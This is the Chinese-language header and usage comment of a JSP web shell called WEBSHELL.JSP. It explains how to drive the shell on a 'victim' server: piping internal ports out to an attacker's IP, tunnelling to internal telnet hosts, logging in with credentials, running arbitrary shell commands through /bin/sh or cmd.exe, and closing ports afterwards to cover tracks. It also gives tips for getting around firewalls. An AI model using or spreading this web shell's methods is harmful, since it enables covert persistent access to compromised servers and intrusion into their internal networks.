* WEBSHELL.JSP
*
* Author: lovehacker
* E-mail: wangyun188@hotmail.com
*
* 使用方法:
* ]http://victim/webshell.jsp?[options]
* options:
* action=piped&remoteHost=&remotePort=&myIp=&myPort=
* action=tunnel&remoteHost=&remotePort=&myPort=
* action=login&username=&password=&myPort=
* action=send&myShell=&myPort=&cmd=
* action=close&myPort=
* action=shell&cmd=
* 例子:
* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- 将192.168.0.1的25端口与218.0.0.1的12345端口连接起来可以先用NC监听12345端口。适用于你无法直接访问已控制的WEB服务器的内网里某机器的某端口而防火墙又未过滤该WEB服务器向外的连接。
* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- 实现通过访问该webshell.jsp访问内网某主机telnet服务的功能。原本想实现通过访问webshell.jsp实现对内网任意服务访问的功能但jsp功能有限实现起来较为复杂适用于你控制的机器只开了80端口并且防火墙不允许它访问Internet而你又非常想访问它内网某主机的Telnet服务:-)
* action=login&username=root&password=helloroot&myPort=65534 -- 上一步只是告诉了要Telnet那台机器这一步才开始真正登陆你要输入要telnet主机的正确的用户名密码才行喔要不然谁也没办法。
* action=send&myShell=&myPort=&cmd= -- 上一步如果顺利完成那么你就可以在上边执行你想执行的命令了。myShell这个参数是结束标记否则无法知道数据流什么时间该结束一定要写对喔否则嘿嘿就麻烦罗。cmd这个参数就是你要执行的命令了比如“which ssh”建议你这样玩myShell=lovehacker&cmd=ls -la;echo lovehacker。
* action=close&myPort= -- 你是退出了telnet登陆但程序在主机上开放的端口还没关闭所以你要再执行这个命令现场打扫干净嘛。
* action=shell&cmd= -- 在你控制的这台机器上执行命令。Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
* 程序说明:
* 想通过jsp实现telnet代理的时候着实头痛了一把每个请求都是一个新的线程client socket去连接
* telnet服务只能批量命令无法实现与用户的交互后来想了个笨办法把telnet的过程分步完成
* 收到tunnel命令后先起两个线程一个监听端口等待连接一个先和远程服务器建立好端口连接并一
* 直不断开这下server socket再一次一次的收数据一次次的转发到远程服务器就可以记录状态
* 现和用户的交互了但总觉得这办法太笨如果用JSP实现telnet代理功能你有更好的办法的话请一定
* 要来信告诉我。
* 版权说明:
* 本身实现Telnet的功能我也是在人家代码的基础上修改的所以版权没有你可以任意修改、复制。
* 只是加了新功能别忘了Mail一份给我喔
*
